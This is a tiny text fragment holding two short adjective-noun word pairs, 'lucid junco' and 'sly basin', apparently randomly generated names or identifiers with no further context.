lucid junco
sly basin